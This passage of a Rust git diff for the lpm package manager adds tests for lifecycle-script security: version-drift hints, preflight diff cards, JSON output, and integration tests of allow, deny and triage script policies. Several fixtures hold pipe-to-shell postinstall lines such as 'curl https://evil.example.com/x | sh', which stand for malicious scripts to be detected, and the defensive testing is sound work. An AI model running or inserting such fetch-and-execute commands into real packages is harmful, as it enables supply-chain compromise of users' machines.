mk_diff(VersionDiffReason::NoChange); + assert!(render_terse_hint(&diff, "pkg").is_none()); + } + + #[test] + fn terse_hint_script_hash_drift() { + let diff = mk_diff(VersionDiffReason::ScriptHashDrift); + let line = render_terse_hint(&diff, "esbuild").unwrap(); + assert_eq!( + line, + " esbuild@2.0.0 — script content changed since v1.0.0" + ); + } + + #[test] + fn terse_hint_behavioral_tag_gained_surfaces_delta() { + // Ship criterion 2, terse rendering: the gained tags MUST + // appear verbatim in the install output so the user sees + // "+network +eval" without running approve-builds. + let diff = mk_diff(VersionDiffReason::BehavioralTagShift { + gained: vec!["eval".into(), "network".into()], + lost: vec![], + }); + let line = render_terse_hint(&diff, "suspicious").unwrap(); + assert!( + line.contains("+network"), + "+network must appear in terse hint — got {line}" + ); + assert!( + line.contains("+eval"), + "+eval must appear in terse hint — got {line}" + ); + assert!(line.contains("since v1.0.0")); + } + + #[test] + fn terse_hint_behavioral_tag_both_gained_and_lost() { + let diff = mk_diff(VersionDiffReason::BehavioralTagShift { + gained: vec!["network".into()], + lost: vec!["crypto".into()], + }); + let line = render_terse_hint(&diff, "mixed").unwrap(); + assert!(line.contains("+network")); + assert!(line.contains("-crypto")); + } + + #[test] + fn terse_hint_provenance_dropped_names_axios_pattern() { + // "axios-pattern signal" is a load-bearing phrase in the doc: + // it's the recognizable shorthand ops teams can grep on. + let diff = mk_diff(VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::Dropped, + }); + let line = render_terse_hint(&diff, "axios").unwrap(); + assert!(line.contains("provenance dropped")); + assert!(line.contains("axios-pattern")); + } + + #[test] + fn terse_hint_provenance_identity_changed() { + let diff = mk_diff(VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::IdentityChanged, + }); + let line = render_terse_hint(&diff, "pkg").unwrap(); + assert!(line.contains("provenance identity changed")); + } + + #[test] + fn terse_hint_multi_field_drift_lists_dimensions() { + let diff = mk_diff(VersionDiffReason::MultiFieldDrift { + script_hash: true, + tags: Some(TagShift { + gained: vec!["network".into()], + lost: vec![], + }), + provenance: Some(ProvenanceDriftKind::Dropped), + }); + let line = render_terse_hint(&diff, "compromise").unwrap(); + assert!(line.contains("script + tags + provenance changed")); + assert!(line.contains("since v1.0.0")); + } + + // ─── Rendering layer — preflight card ──────────────────────── + + fn bodies(pairs: &[(&str, &str)]) -> PhaseBodies { + pairs + .iter() + .map(|(k, v)| (k.to_string(), v.to_string())) + .collect() + } + + #[test] + fn preflight_card_returns_none_for_no_change() { + let diff = mk_diff(VersionDiffReason::NoChange); + assert!(render_preflight_card(&diff, "pkg", None, None).is_none()); + } + + #[test] + fn preflight_card_script_hash_drift_renders_unified_diff() { + // Ship criterion 1: "the exact added line before any execution." + // Prior postinstall is `echo hi`; candidate adds `curl X | sh` + // after it. The unified diff must surface the added line. + let prior = bodies(&[("postinstall", "echo hi\n")]); + let candidate = bodies(&[( + "postinstall", + "echo hi\ncurl https://evil.example.com/x | sh\n", + )]); + let diff = mk_diff(VersionDiffReason::ScriptHashDrift); + let card = render_preflight_card(&diff, "evil", Some(&prior), Some(&candidate)).unwrap(); + + assert!(card.contains("evil@2.0.0 — changes since v1.0.0:")); + assert!( + card.contains("+curl https://evil.example.com/x | sh"), + "the exact added line must appear in the card — got:\n{card}" + ); + // Unified-diff headers should identify the phase so the + // reviewer can see WHICH phase drifted. + assert!(card.contains("scripts.postinstall")); + } + + #[test] + fn preflight_card_script_drift_degrades_when_prior_missing_from_store() { + // Common `lpm cache clean` scenario: the prior tarball was + // evicted. Card must degrade gracefully rather than crash or + // emit a misleading empty diff. + let candidate = bodies(&[("postinstall", "node build.js\n")]); + let diff = mk_diff(VersionDiffReason::ScriptHashDrift); + let card = render_preflight_card(&diff, "pkg", None, Some(&candidate)).unwrap(); + assert!(card.contains("prior or candidate scripts not in store")); + } + + #[test] + fn preflight_card_behavioral_tag_section_shows_gained_and_lost() { + let diff = mk_diff(VersionDiffReason::BehavioralTagShift { + gained: vec!["eval".into(), "network".into()], + lost: vec!["crypto".into()], + }); + let card = render_preflight_card(&diff, "pkg", None, None).unwrap(); + // Deterministic order: gained then lost, each block in the + // order provided (which is sorted ascending). + let eval_pos = card.find("+ eval").expect("+ eval missing"); + let network_pos = card.find("+ network").expect("+ network missing"); + let crypto_pos = card.find("- crypto").expect("- crypto missing"); + assert!(eval_pos < network_pos); + assert!(network_pos < crypto_pos); + } + + #[test] + fn preflight_card_provenance_dropped_section() { + let diff = mk_diff(VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::Dropped, + }); + let card = render_preflight_card(&diff, "axios", None, None).unwrap(); + assert!(card.contains("Provenance dropped")); + assert!(card.contains("axios-pattern signal")); + } + + #[test] + fn preflight_card_multi_field_renders_each_dimension() { + let prior = bodies(&[("postinstall", "echo safe\n")]); + let candidate = bodies(&[("postinstall", "echo safe\ncurl evil.example | sh\n")]); + let diff = mk_diff(VersionDiffReason::MultiFieldDrift { + script_hash: true, + tags: Some(TagShift { + gained: vec!["eval".into()], + lost: vec![], + }), + provenance: Some(ProvenanceDriftKind::Dropped), + }); + let card = + render_preflight_card(&diff, "compromise", Some(&prior), Some(&candidate)).unwrap(); + + // All three dimensions must appear. + assert!(card.contains("Script content changed")); + assert!(card.contains("+curl evil.example | sh")); + assert!(card.contains("+ eval")); + assert!(card.contains("Provenance dropped")); + } + + #[test] + fn preflight_card_only_diffs_changed_phases() { + // A package with drift in postinstall but identical install + // and preinstall should only emit a unified-diff section for + // postinstall — no empty `--- / +++` headers for equal + // phases. + let prior = bodies(&[ + ("preinstall", "echo pre\n"), + ("install", "echo in\n"), + ("postinstall", "echo post\n"), + ]); + let candidate = bodies(&[ + ("preinstall", "echo pre\n"), + ("install", "echo in\n"), + ("postinstall", "echo post\ncurl X | sh\n"), + ]); + let diff = mk_diff(VersionDiffReason::ScriptHashDrift); + let card = render_preflight_card(&diff, "partial", Some(&prior), Some(&candidate)).unwrap(); + + assert!(card.contains("scripts.postinstall")); + assert!( + !card.contains("scripts.preinstall"), + "preinstall is unchanged; its header must NOT appear — got:\n{card}" + ); + assert!( + !card.contains("scripts.install (v"), + "install is unchanged; its header must NOT appear — got:\n{card}" + ); + } + + #[test] + fn phase_bodies_from_pairs_preserves_all_entries() { + let pairs = vec![ + ("postinstall".to_string(), "cmd-a".to_string()), + ("preinstall".to_string(), "cmd-b".to_string()), + ]; + let map = phase_bodies_from_pairs(pairs); + assert_eq!(map.get("postinstall").map(String::as_str), Some("cmd-a")); + assert_eq!(map.get("preinstall").map(String::as_str), Some("cmd-b")); + assert_eq!(map.len(), 2); + } + + // ─── JSON serialization (Phase 46 P7 Chunk 4) ───────────────── + + #[test] + fn version_diff_reason_wire_strings_are_kebab_case() { + // Pin the wire contract; agents grep on these. + assert_eq!( + version_diff_reason_wire(&VersionDiffReason::NoChange), + "no-change" + ); + assert_eq!( + version_diff_reason_wire(&VersionDiffReason::ScriptHashDrift), + "script-hash-drift" + ); + assert_eq!( + version_diff_reason_wire(&VersionDiffReason::BehavioralTagShift { + gained: vec![], + lost: vec![], + }), + "behavioral-tag-shift" + ); + assert_eq!( + version_diff_reason_wire(&VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::Dropped, + }), + "provenance-drift" + ); + assert_eq!( + version_diff_reason_wire(&VersionDiffReason::MultiFieldDrift { + script_hash: false, + tags: None, + provenance: None, + }), + "multi-field-drift" + ); + } + + #[test] + fn provenance_drift_kind_wire_strings_are_kebab_case() { + assert_eq!( + provenance_drift_kind_wire(&ProvenanceDriftKind::IdentityChanged), + "identity-changed" + ); + assert_eq!( + provenance_drift_kind_wire(&ProvenanceDriftKind::Dropped), + "dropped" + ); + assert_eq!( + provenance_drift_kind_wire(&ProvenanceDriftKind::Gained), + "gained" + ); + } + + fn diff_for(reason: VersionDiffReason) -> VersionDiff { + VersionDiff { + prior_version: "1.0.0".into(), + candidate_version: "2.0.0".into(), + reason, + } + } + + #[test] + fn version_diff_to_json_no_change_emits_all_keys_with_appropriate_nulls() { + // Stable contract: even NoChange emits the same keys so + // agents read uniformly. `script_hash_drift` is a bool + // (false), the other dimensions are explicit null. + let v = version_diff_to_json(&diff_for(VersionDiffReason::NoChange)); + assert_eq!(v["prior_version"], serde_json::json!("1.0.0")); + assert_eq!(v["candidate_version"], serde_json::json!("2.0.0")); + assert_eq!(v["reason"], serde_json::json!("no-change")); + assert_eq!(v["script_hash_drift"], serde_json::json!(false)); + assert!(v["behavioral_tags_added"].is_null()); + assert!(v["behavioral_tags_removed"].is_null()); + assert!(v["provenance_drift_kind"].is_null()); + } + + #[test] + fn version_diff_to_json_script_hash_drift_alone() { + let v = version_diff_to_json(&diff_for(VersionDiffReason::ScriptHashDrift)); + assert_eq!(v["reason"], serde_json::json!("script-hash-drift")); + assert_eq!(v["script_hash_drift"], serde_json::json!(true)); + assert!(v["behavioral_tags_added"].is_null()); + assert!(v["behavioral_tags_removed"].is_null()); + assert!(v["provenance_drift_kind"].is_null()); + } + + #[test] + fn version_diff_to_json_behavioral_tag_shift_emits_arrays() { + let v = version_diff_to_json(&diff_for(VersionDiffReason::BehavioralTagShift { + gained: vec!["eval".into(), "network".into()], + lost: vec!["crypto".into()], + })); + assert_eq!(v["reason"], serde_json::json!("behavioral-tag-shift")); + assert_eq!(v["script_hash_drift"], serde_json::json!(false)); + assert_eq!( + v["behavioral_tags_added"], + serde_json::json!(["eval", "network"]) + ); + assert_eq!(v["behavioral_tags_removed"], serde_json::json!(["crypto"])); + assert!(v["provenance_drift_kind"].is_null()); + } + + #[test] + fn version_diff_to_json_behavioral_tag_shift_only_gained_still_emits_empty_lost() { + // Distinguish "tag dimension drifted, only gained" (empty + // array on lost) from "tag dimension didn't drift" (null + // on both). Agents need this signal. + let v = version_diff_to_json(&diff_for(VersionDiffReason::BehavioralTagShift { + gained: vec!["network".into()], + lost: vec![], + })); + assert_eq!(v["behavioral_tags_added"], serde_json::json!(["network"])); + assert_eq!(v["behavioral_tags_removed"], serde_json::json!([])); + } + + #[test] + fn version_diff_to_json_provenance_dropped() { + let v = version_diff_to_json(&diff_for(VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::Dropped, + })); + assert_eq!(v["reason"], serde_json::json!("provenance-drift")); + assert_eq!(v["provenance_drift_kind"], serde_json::json!("dropped")); + assert_eq!(v["script_hash_drift"], serde_json::json!(false)); + assert!(v["behavioral_tags_added"].is_null()); + assert!(v["behavioral_tags_removed"].is_null()); + } + + #[test] + fn version_diff_to_json_provenance_identity_changed() { + let v = version_diff_to_json(&diff_for(VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::IdentityChanged, + })); + assert_eq!( + v["provenance_drift_kind"], + serde_json::json!("identity-changed") + ); + } + + #[test] + fn version_diff_to_json_provenance_gained() { + let v = version_diff_to_json(&diff_for(VersionDiffReason::ProvenanceDrift { + kind: ProvenanceDriftKind::Gained, + })); + assert_eq!(v["provenance_drift_kind"], serde_json::json!("gained")); + } + + #[test] + fn version_diff_to_json_multi_field_emits_each_dimension() { + let v = version_diff_to_json(&diff_for(VersionDiffReason::MultiFieldDrift { + script_hash: true, + tags: Some(TagShift { + gained: vec!["network".into()], + lost: vec![], + }), + provenance: Some(ProvenanceDriftKind::Dropped), + })); + assert_eq!(v["reason"], serde_json::json!("multi-field-drift")); + assert_eq!(v["script_hash_drift"], serde_json::json!(true)); + assert_eq!(v["behavioral_tags_added"], serde_json::json!(["network"])); + assert_eq!(v["behavioral_tags_removed"], serde_json::json!([])); + assert_eq!(v["provenance_drift_kind"], serde_json::json!("dropped")); + } + + #[test] + fn version_diff_to_json_multi_field_with_only_some_dimensions_nulls_others() { + // MultiFieldDrift with script_hash + provenance but tags + // didn't drift in this multi-field case → tags fields null, + // not empty arrays. Agents differentiate "tags didn't + // drift" from "tags drifted to empty". + let v = version_diff_to_json(&diff_for(VersionDiffReason::MultiFieldDrift { + script_hash: true, + tags: None, + provenance: Some(ProvenanceDriftKind::IdentityChanged), + })); + assert_eq!(v["script_hash_drift"], serde_json::json!(true)); + assert!(v["behavioral_tags_added"].is_null()); + assert!(v["behavioral_tags_removed"].is_null()); + assert_eq!( + v["provenance_drift_kind"], + serde_json::json!("identity-changed") + ); + } + + // ─── blocked_to_json + version_diff integration ─────────────── + + fn blocked_with( + name: &str, + version: &str, + script_hash: Option<&str>, + ) -> crate::build_state::BlockedPackage { + crate::build_state::BlockedPackage { + name: name.into(), + version: version.into(), + integrity: Some(format!("sha512-{name}-{version}")), + script_hash: script_hash.map(String::from), + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: Some(lpm_security::triage::StaticTier::Green), + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, + } + } + + #[test] + fn blocked_to_json_emits_null_version_diff_when_no_prior_binding() { + use lpm_workspace::TrustedDependencies; + let bp = blocked_with("esbuild", "0.25.1", Some("sha256-x")); + let v = blocked_to_json(&bp, &TrustedDependencies::default()); + assert!( + v["version_diff"].is_null(), + "no prior binding → version_diff must be null" + ); + // Existing fields still present. + assert_eq!(v["name"], serde_json::json!("esbuild")); + assert_eq!(v["static_tier"], serde_json::json!("green")); + } + + #[test] + fn blocked_to_json_emits_no_change_object_when_prior_matches() { + use lpm_workspace::{TrustedDependencies, TrustedDependencyBinding}; + use std::collections::HashMap; + + let bp = blocked_with("stable", "2.0.0", Some("sha256-same")); + let mut map = HashMap::new(); + map.insert( + "stable@1.0.0".into(), + TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + ..Default::default() + }, + ); + let trusted = TrustedDependencies::Rich(map); + + let v = blocked_to_json(&bp, &trusted); + // Prior exists → emit the object even though reason is + // no-change. Distinguishes "we found a prior at v1.0.0 and + // it matches" from "no prior to compare". + assert!(v["version_diff"].is_object()); + assert_eq!(v["version_diff"]["reason"], serde_json::json!("no-change")); + assert_eq!( + v["version_diff"]["prior_version"], + serde_json::json!("1.0.0") + ); + assert_eq!( + v["version_diff"]["candidate_version"], + serde_json::json!("2.0.0") + ); + } + + #[test] + fn blocked_to_json_emits_full_diff_when_prior_drifts() { + use lpm_workspace::{TrustedDependencies, TrustedDependencyBinding}; + use std::collections::HashMap; + + let bp = blocked_with("esbuild", "0.25.2", Some("sha256-new")); + let mut map = HashMap::new(); + map.insert( + "esbuild@0.25.1".into(), + TrustedDependencyBinding { + script_hash: Some("sha256-old".into()), + ..Default::default() + }, + ); + let trusted = TrustedDependencies::Rich(map); + + let v = blocked_to_json(&bp, &trusted); + let vd = &v["version_diff"]; + assert_eq!(vd["reason"], serde_json::json!("script-hash-drift")); + assert_eq!(vd["prior_version"], serde_json::json!("0.25.1")); + assert_eq!(vd["candidate_version"], serde_json::json!("0.25.2")); + assert_eq!(vd["script_hash_drift"], serde_json::json!(true)); + } +} diff --git a/crates/lpm-cli/tests/approve_builds_audit_regression.rs b/crates/lpm-cli/tests/approve_builds_audit_regression.rs index ad6d9625..3df37199 100644 --- a/crates/lpm-cli/tests/approve_builds_audit_regression.rs +++ b/crates/lpm-cli/tests/approve_builds_audit_regression.rs @@ -322,8 +322,11 @@ fn cli_yes_json_emits_exactly_one_valid_json_payload_on_stdout() { ) }); - // Sanity: the parsed JSON has the expected shape - assert_eq!(parsed["schema_version"].as_u64(), Some(1)); + // Sanity: the parsed JSON has the expected shape. SCHEMA_VERSION + // bumped to 2 in Phase 46 P2 Chunk 3 (`static_tier`) and to 3 in + // Phase 46 P7 Chunk 4 (`version_diff`) — see approve_builds.rs + // constants. + assert_eq!(parsed["schema_version"].as_u64(), Some(3)); assert_eq!(parsed["command"].as_str(), Some("approve-builds")); assert_eq!(parsed["mode"].as_str(), Some("yes")); assert_eq!(parsed["approved_count"].as_u64(), Some(1)); @@ -382,7 +385,7 @@ fn cli_list_json_emits_exactly_one_valid_json_payload_on_stdout() { let stdout_clean = strip_ansi(&stdout); let parsed: serde_json::Value = serde_json::from_str(&stdout_clean) .unwrap_or_else(|e| panic!("stdout is not valid JSON: {e}\nstdout:\n{stdout_clean}")); - assert_eq!(parsed["schema_version"].as_u64(), Some(1)); + assert_eq!(parsed["schema_version"].as_u64(), Some(3)); assert!(!stdout_clean.contains("WARN")); } diff --git a/crates/lpm-cli/tests/fixtures/p46_close_policy_deny_baseline.stdout b/crates/lpm-cli/tests/fixtures/p46_close_policy_deny_baseline.stdout new file mode 100644 index 00000000..831443e8 --- /dev/null +++ b/crates/lpm-cli/tests/fixtures/p46_close_policy_deny_baseline.stdout @@ -0,0 +1,13 @@ +{ + "dry_run": true, + "packages": [ + { + "name": "trusted-pkg", + "version": "1.0.0", + "scripts": { + "postinstall": "echo hi" + }, + "trusted": true + } + ] +} diff --git a/crates/lpm-cli/tests/global_phase37_e2e.rs b/crates/lpm-cli/tests/global_phase37_e2e.rs index 7aded302..a730193b 100644 --- a/crates/lpm-cli/tests/global_phase37_e2e.rs +++ b/crates/lpm-cli/tests/global_phase37_e2e.rs @@ -202,6 +202,7 @@ fn make_version_metadata( tarball: Some(tarball_url), integrity: Some(integrity), shasum: None, + ..Default::default() }), ..VersionMetadata::default() } diff --git a/crates/lpm-cli/tests/p46_close_allow_widening_reference.rs b/crates/lpm-cli/tests/p46_close_allow_widening_reference.rs new file mode 100644 index 00000000..753c2a23 --- /dev/null +++ b/crates/lpm-cli/tests/p46_close_allow_widening_reference.rs @@ -0,0 +1,379 @@ +//! Phase 46 close-out Chunk 2 — reference-fixture integration tests +//! for the `script-policy = "allow"` selection-step widening. +//! +//! §5.1 allow row: +//! +//! > `lpm build` is spec'd to run every lifecycle script without the +//! > triage gate, and `autoBuild: true` + `"allow"` is spec'd to +//! > auto-trigger a build that runs everything without gating. +//! +//! The helper-level contract is already pinned at the unit level by +//! [`p6_chunk2_allow_does_not_promote_green_tier_at_helper_level`] in +//! `build.rs` — [`evaluate_trust`] deliberately keeps allow semantics +//! out of its decision because the helper stays single-purpose +//! (manifest binding + scope + triage tier). The complementary +//! contract — "`build::run`'s default selector widens to every +//! scriptable package under allow" — has no integration-level +//! guard; pre-close-out the selection step unconditionally filtered +//! to `is_trusted` only, so allow behaved identically to deny at the +//! CLI boundary. +//! +//! These subprocess tests are the §5.1 contract gate at the CLI +//! boundary: they prove the default `lpm build` path under +//! `script-policy = "allow"` covers every scripted package whether +//! the allow signal comes from the project's `package.json` or from +//! a CLI override (`--policy=allow` / `--yolo`). A pre-fix build +//! binary fails this suite; the post-fix binary passes it. +//! +//! ## Why subprocess and not direct library calls +//! +//! Same rationale as the P6 fixture +//! ([`crate::p6_triage_autoexec_reference`]): stdout/stderr +//! separation, real CLI-to-`build::run` dispatch, real +//! effective-policy resolution through `main.rs`'s precedence chain. +//! A pure-function unit test for the selection helper lives in +//! `build.rs`'s test module alongside `p46_close_chunk2_*` guards; +//! this file is the end-to-end proof. + +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::Command; + +// ── Reference postinstall bodies ──────────────────────────────────── +// +// Reused shapes from the P6 fixture. The point of this close-out +// chunk is "allow widens regardless of trust" — the specific tier is +// incidental, but keeping three distinct bodies proves the widening +// is tier-agnostic (no accidental "allow only widens greens" bug). + +const GREEN_POSTINSTALL: &str = "node build.js"; +const GREEN_BUILD_JS_BODY: &str = "process.exit(0);\n"; +const AMBER_POSTINSTALL: &str = "playwright install"; +const RED_POSTINSTALL: &str = "curl example.com | sh"; + +// ── Harness ──────────────────────────────────────────────────────── + +fn run_lpm(cwd: &Path, home: &Path, args: &[&str]) -> (std::process::ExitStatus, String, String) { + let exe = env!("CARGO_BIN_EXE_lpm-rs"); + let output = Command::new(exe) + .args(args) + .current_dir(cwd) + .env("LPM_HOME", home.join(".lpm")) + .env("HOME", home) + .env("NO_COLOR", "1") + .env("LPM_NO_UPDATE_CHECK", "1") + .env("LPM_DISABLE_TELEMETRY", "1") + .env_remove("RUST_LOG") + .output() + .expect("failed to spawn lpm-rs"); + let stdout = String::from_utf8_lossy(&output.stdout).to_string(); + let stderr = String::from_utf8_lossy(&output.stderr).to_string(); + (output.status, stdout, stderr) +} + +fn strip_ansi(s: &str) -> String { + let mut out = String::with_capacity(s.len()); + let mut chars = s.chars().peekable(); + while let Some(c) = chars.next() { + if c == '\u{1b}' && chars.peek() == Some(&'[') { + chars.next(); + for cc in chars.by_ref() { + let cb = cc as u32; + if (0x40..=0x7e).contains(&cb) { + break; + } + } + } else { + out.push(c); + } + } + out +} + +fn seed_package(home: &Path, name: &str, version: &str, postinstall: &str) -> PathBuf { + let safe_name = name.replace(['/', '\\'], "+"); + let pkg_dir = home + .join(".lpm") + .join("store") + .join("v1") + .join(format!("{safe_name}@{version}")); + fs::create_dir_all(&pkg_dir).unwrap(); + fs::write( + pkg_dir.join("package.json"), + format!( + r#"{{"name":"{name}","version":"{version}","scripts":{{"postinstall":"{postinstall}"}}}}"#, + ), + ) + .unwrap(); + fs::write(pkg_dir.join(".integrity"), "sha512-fixture-skip-verify").unwrap(); + if postinstall.contains("build.js") { + fs::write(pkg_dir.join("build.js"), GREEN_BUILD_JS_BODY).unwrap(); + } + pkg_dir +} + +fn write_lockfile(project: &Path, packages: &[(&str, &str)]) { + let pkg_entries: Vec = packages + .iter() + .map(|(name, version)| { + format!( + r#"[[packages]] +name = "{name}" +version = "{version}" +"# + ) + }) + .collect(); + let toml = format!( + r#"[metadata] +lockfile-version = 1 +resolved-with = "pubgrub" + +{} +"#, + pkg_entries.join("\n") + ); + fs::write(project.join("lpm.lock"), toml).unwrap(); +} + +struct Fixture { + _tmpdir: tempfile::TempDir, + home: PathBuf, + project: PathBuf, +} + +impl Fixture { + /// `script_policy` populates `lpm.scriptPolicy` in `package.json`. + /// Pass `None` to omit the key entirely — useful for tests that + /// supply the policy via CLI override instead. + fn new(script_policy: Option<&str>) -> Self { + let tmpdir = tempfile::tempdir().unwrap(); + let home = tmpdir.path().to_path_buf(); + let project = home.join("project"); + fs::create_dir_all(&project).unwrap(); + let policy_block = match script_policy { + Some(p) => format!(r#""scriptPolicy": "{p}""#), + None => String::new(), + }; + fs::write( + project.join("package.json"), + format!( + r#"{{ + "name": "p46-close-allow-fixture", + "version": "0.0.1", + "lpm": {{ + {policy_block} + }} + }}"# + ), + ) + .unwrap(); + Fixture { + _tmpdir: tmpdir, + home, + project, + } + } +} + +// ── Behavior tests ───────────────────────────────────────────────── + +/// **Ship criterion for Chunk 2.** Under `scriptPolicy = "allow"` in +/// package.json, the default `lpm build --dry-run` path (no `--all`, +/// no named packages, no manifest `trustedDependencies` entries) +/// must include EVERY scripted package in its output — green, amber, +/// and red alike — because §5.1 says allow runs every lifecycle +/// script without the triage gate. +/// +/// The complementary helper-level contract +/// ([`p6_chunk2_allow_does_not_promote_green_tier_at_helper_level`]) +/// pins that `evaluate_trust` deliberately returns `Untrusted` under +/// allow (no per-package promotion). This test pins the caller-side +/// contract: the selection step in `build::run` must fold the allow +/// policy into its widening logic regardless of `is_trusted`. +/// +/// Pre-Chunk-2 the selection step filtered to trusted-only at +/// `build.rs:254-259`, so allow behaved identically to deny. This +/// test fails on pre-fix binaries and passes on post-fix binaries. +#[test] +fn p46_close_chunk2_allow_builds_every_scripted_package_under_default_branch() { + let fx = Fixture::new(Some("allow")); + seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + seed_package(&fx.home, "red-curlpipe", "1.0.0", RED_POSTINSTALL); + write_lockfile( + &fx.project, + &[ + ("green-native", "1.0.0"), + ("amber-playwright", "1.0.0"), + ("red-curlpipe", "1.0.0"), + ], + ); + + let (status, stdout, stderr) = run_lpm(&fx.project, &fx.home, &["build", "--dry-run"]); + let stdout = strip_ansi(&stdout); + let stderr = strip_ansi(&stderr); + + assert!( + status.success(), + "build --dry-run must exit 0 under allow. stdout={stdout}\nstderr={stderr}" + ); + + // All three scripted packages must appear — the allow widening + // is tier-agnostic, so amber and red are included alongside the + // green-classified one. + assert!( + stdout.contains("green-native"), + "green-native must appear under allow's default filter. \ + stdout={stdout}" + ); + assert!( + stdout.contains("amber-playwright"), + "amber-playwright must appear under allow — allow widens \ + every scripted package regardless of tier, unlike triage's \ + green-only promotion. stdout={stdout}" + ); + assert!( + stdout.contains("red-curlpipe"), + "red-curlpipe must appear under allow — §5.1 says allow \ + runs every lifecycle script; the red tier is only a \ + classification label, not a gate under allow. stdout={stdout}" + ); + + // The "N packages are not in trustedDependencies and will be + // skipped" warning must NOT fire under allow — every scripted + // package is being built, so describing anything as "skipped" + // is a lie. The warning comes from the same site that renders + // the approve-builds / trustedDependencies pointer, so its + // absence also implies the pointer stays silent under allow + // (which would be misdirection — users who chose allow don't + // want to be told to edit trustedDependencies). + assert!( + !stderr.contains("are not in trustedDependencies and will be skipped"), + "the skipped-count warning must not fire under allow — \ + every scripted package is in the build set. stderr={stderr}" + ); +} + +/// **CLI override path.** `--policy=allow` at the command line must +/// produce the same widening as the project-manifest path above. The +/// effective-policy precedence chain is resolved in `main.rs`; this +/// test proves the resolved value reaches `build::run`'s selection +/// step. `--yolo` is an alias for `--policy=allow` (§5.4 / D22) and +/// is exercised here too so the alias survives the selection-step +/// plumbing. +#[test] +fn p46_close_chunk2_allow_via_cli_override_also_widens() { + // No scriptPolicy in package.json — the allow signal comes + // purely from the CLI flag. + let fx = Fixture::new(None); + seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + write_lockfile( + &fx.project, + &[("green-native", "1.0.0"), ("amber-playwright", "1.0.0")], + ); + + // --policy=allow path + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["build", "--dry-run", "--policy=allow"], + ); + let stdout = strip_ansi(&stdout); + assert!(status.success(), "exit 0 expected. stdout={stdout}"); + assert!( + stdout.contains("green-native") && stdout.contains("amber-playwright"), + "--policy=allow must widen at the selection step. stdout={stdout}" + ); + + // --yolo alias path (same contract — D22 pins the alias) + let (status, stdout, _stderr) = + run_lpm(&fx.project, &fx.home, &["build", "--dry-run", "--yolo"]); + let stdout = strip_ansi(&stdout); + assert!(status.success(), "exit 0 expected. stdout={stdout}"); + assert!( + stdout.contains("green-native") && stdout.contains("amber-playwright"), + "--yolo (alias for --policy=allow) must widen too. stdout={stdout}" + ); +} + +/// **Control under deny.** The same fixture under `scriptPolicy = +/// "deny"` must keep the pre-Chunk-2 selection behavior: default +/// branch filters to trusted-only, untrusted scripted packages are +/// skipped with a pointer. Pins that Chunk 2's fix is allow-scoped +/// and doesn't regress deny mode. +#[test] +fn p46_close_chunk2_deny_keeps_trusted_only_filter() { + let fx = Fixture::new(Some("deny")); + seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + write_lockfile( + &fx.project, + &[("green-native", "1.0.0"), ("amber-playwright", "1.0.0")], + ); + + let (status, stdout, stderr) = run_lpm(&fx.project, &fx.home, &["build", "--dry-run"]); + let stdout = strip_ansi(&stdout); + let stderr = strip_ansi(&stderr); + + assert!(status.success(), "exit 0 expected. stdout={stdout}"); + + // No trusted packages + no --all + no specific names → to_build + // is empty under deny, so the dry-run output lists nothing and + // the skipped-count warning fires on stderr with the pre-Phase-46 + // legacy pointer. + assert!( + !stdout.contains("green-native"), + "under deny, untrusted-by-default scripted packages must \ + be filtered out of the default dry-run set. stdout={stdout}" + ); + assert!( + !stdout.contains("amber-playwright"), + "same as above. stdout={stdout}" + ); + assert!( + stderr.contains("2 package(s) are not in trustedDependencies"), + "the skipped-count warning must fire under deny — proves \ + Chunk 2's allow fix is not a blanket filter-disable. \ + stderr={stderr}" + ); + assert!( + stderr.contains("package.json > lpm > trustedDependencies") + || stderr.contains("lpm build --all"), + "deny keeps the legacy manifest-edit pointer. stderr={stderr}" + ); +} + +/// **Control under triage (allow ≠ triage).** Triage promotes only +/// greens at the helper level (P6 Chunk 2); the selection step +/// still filters to trusted-only. On a fixture with amber + red +/// (no green), triage produces an empty default dry-run set — NOT +/// the allow-style widening. This test pins that the Chunk 2 fix +/// is allow-scoped and doesn't accidentally widen triage too. +#[test] +fn p46_close_chunk2_triage_does_not_widen_beyond_greens() { + let fx = Fixture::new(Some("triage")); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + seed_package(&fx.home, "red-curlpipe", "1.0.0", RED_POSTINSTALL); + write_lockfile( + &fx.project, + &[("amber-playwright", "1.0.0"), ("red-curlpipe", "1.0.0")], + ); + + let (status, stdout, stderr) = run_lpm(&fx.project, &fx.home, &["build", "--dry-run"]); + let stdout = strip_ansi(&stdout); + let stderr = strip_ansi(&stderr); + + assert!(status.success(), "exit 0 expected. stdout={stdout}"); + assert!( + !stdout.contains("amber-playwright") && !stdout.contains("red-curlpipe"), + "triage must NOT widen to amber/red at the selection step — \ + tier promotion is green-only. stdout={stdout}" + ); + assert!( + stderr.contains("lpm approve-builds"), + "triage with amber+red remaining must point users at \ + approve-builds (the P6 Chunk 1 pointer). stderr={stderr}" + ); +} diff --git a/crates/lpm-cli/tests/p46_close_dry_run_reference.rs b/crates/lpm-cli/tests/p46_close_dry_run_reference.rs new file mode 100644 index 00000000..c3ac0313 --- /dev/null +++ b/crates/lpm-cli/tests/p46_close_dry_run_reference.rs @@ -0,0 +1,647 @@ +//! Phase 46 close-out Chunk 3 — reference-fixture integration tests +//! for `lpm approve-builds --dry-run`. +//! +//! The contract (from the Chunk 3 signoff + §11 P9 close-out scope): +//! +//! > Preview decisions without mutating state. In project mode, +//! > `package.json`'s `trustedDependencies` stays untouched. In +//! > global mode, `~/.lpm/global/trusted-dependencies.json` stays +//! > 